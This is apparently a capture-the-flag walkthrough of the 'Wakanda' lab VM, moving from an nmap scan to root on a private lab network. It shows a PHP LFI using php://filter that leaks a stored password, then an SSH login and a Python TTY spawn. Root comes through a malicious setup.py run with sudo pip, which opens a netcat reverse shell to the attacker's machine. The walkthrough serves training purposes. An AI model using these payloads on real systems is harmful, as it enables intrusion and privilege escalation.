Checkout SlayerLabs.com!
Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Initial/Post/Lateral - Low Cost VPN Ranges -
Wakanda
Initial nmap scan…
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 38434/udp status
|_ 100024 1 43564/tcp status
514/tcp filtered shell
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
| 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
Nothing sticks out on the primary http page after a quick glance, nor does port 514 give us any info using netcat.
After a running dirb a few directories lead us nowhere, although it seems our target is running php
+ http://192.168.30.12/admin (CODE:200|SIZE:0)
+ http://192.168.30.12/backup (CODE:200|SIZE:0)
+ http://192.168.30.12/index.php (CODE:200|SIZE:1527)
+ http://192.168.30.12/secret (CODE:200|SIZE:0)
+ http://192.168.30.12/server-status (CODE:403|SIZE:301)
+ http://192.168.30.12/shell (CODE:200|SIZE:0)
LFI & curl-fu
Using curl on index.php an interesting commented field shows up:
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
Looks like a possible LFI vector seen in the past. Appending this parameter to the end of index.php seems to convert the language from English to French.
curl http://192.168.30.12/index.php?lang=fr
…snip…
<p class="lead">
Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute!
…snip…
Similar to other web apps, when a new language file is added as a parameter - in this case a php file - it will execute and write the output to the user. With this logic, the file fr.php should exist right?
root@kali:/# curl -i http://192.168.30.12/fr.php
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 15:18:35 GMT
Server: Apache/2.4.10 (Debian)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Looks like it exists, so it seems the index.php is appending .php to the lang parameter. We know index.php exists, so what happens if we add index as the parameter?
root@kali:/# curl -is http://192.168.30.12/index.php?lang=index |head -1
HTTP/1.0 500 Internal Server Error
Now how about something random?
root@kali:/# curl -is http://192.168.30.12/index.php?lang=blah |head -1
HTTP/1.1 200 OK
Great, so now we can safely assume index.php will append .php to the lang parameter.
After trying a few different php wrappers, one seemed to stick - php://filter. This wrapper allows the user to include a local file and view it as encoded base64.
When the contents of index.php are converted to base64 and displayed in your web browser, the PHP service will not process this server side, allowing you to read the full contents of the encoded php file.
In the real-world instances, web servers may have credentials store in these php files to authenticate with backend services, such as MySQL. A default WordPress config is a great example of this in which the required php file of wp-config.php contains the FTP credentials - example:
…snip…
define( 'FTP_USER', 'myftpuser' );
define( 'FTP_PASS', 'Hunter2!' );
define( 'FTP_HOST', '192.168.3.14:21' );
Anyway, moving on. Using the php://filter wrapper we’ll try to encode index.php to Base64.
curl http://192.168.30.12/index.php?lang=php://filter/convert.base64-encode/resource=index
PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZS…..snip….
Now, we’ll copy this lump of encoded junk and decode.
echo PD9waHAKJHBhc3N3b3Jk…snip… |base64 --decode
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
…
Just like the real-world example, it seems a precious password is stored within this php file. What next? Wasn’t SSH open on port 3333? Did you notice a possible username or bogus twitter handle on the homepage?
Great, let’s try to ssh…
Initial Shell
root@kali:~# ssh mamadou@192.168.30.12 -p 3333
mamadou@192.168.30.12's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
Looks like a successful login, now what’s this, a Python shell? To spawn a TTY shell using Python an attacker may use:
python -c 'import pty; pty.spawn("/bin/bash")'
Knowing this, we can try similar syntax, which does the trick.
import pty; pty.spawn("/bin/bash")
More Enum
After poking around manually a bit nothing really stood out besides another user called devops. Now we’ll wget linux private-i from our attacking machine to automate some PrivEsc enumeration…
mamadou@Wakanda1:~$ ./private-i.sh
…snip...
[-] - /etc/passwd is World-Readable
[-] - /etc/shadow is neither world readable nor writable
[-] - /etc/sudoers is neither world readable nor writable
[-] - Mail in /var/mail/ is neither world readable nor writable
--------------------World-Writable Directories------------------------
PLEASE STAND BY ...
----------------------World-Writable Files----------------------------
/srv/.antivirus.py
/home/mamadou/private-i.sh
..snip..
Looks like a world-writable file, which a quick check will show is owned by user devops. Another route to go if you want to avoid dropping files on the target would be to search all files owned by devops.
mamadou@Wakanda1:/$ find / -user devops 2> /dev/null
Now taking a big leap here we’ll assume devops is executing this as a cron. Adding a python reverse shell and creating a simple netcat listener, we get a succesful reverse shell.
Pivot onto Root
Running private-i.sh again turns up not much more when previously executed, besides it looks like we have access to the built-in Exim command utility.
Using the same idea as above, we’ll search the root for all files owned by the devops group of developer.
$ find / -group developer 2> /dev/null
…
/usr/bin/pip
Looks like pip can be executed as devops? Do we have sudo privs? Running sudo -l
verifies pip will execute as a super user. So if we create a bogus python package we can execute pip and get root, right?
Let’s try to create a simple python package. Going back to our stable shell and following some python package creation guides we can create the following:
mamadou@Wakanda1:/tmp$ mkdir boom; cd boom; mkdir boom
mamadou@Wakanda1:/tmp$ touch boom/setup.py; touch boom/boom/__init__.py
mamadou@Wakanda1:/tmp$ vi boom/setup.py
import os; os.system("/bin/nc 192.168.30.14 4445 -e /bin/bash")
mamadou@Wakanda1:/tmp$
Now that it’s created, we can create our nc listener on port 4445, cross our fingers and fire off the payload via devops shell…
$ sudo pip install .
Listening….
root@kali:/var/log/apache2# nc -lvp 4445
listening on [any] 4445 ...
192.168.30.12: inverse host lookup failed: Unknown host
connect to [192.168.30.14] from (UNKNOWN) [192.168.30.12] 39024
whoami
root
That’s just great, we now have root.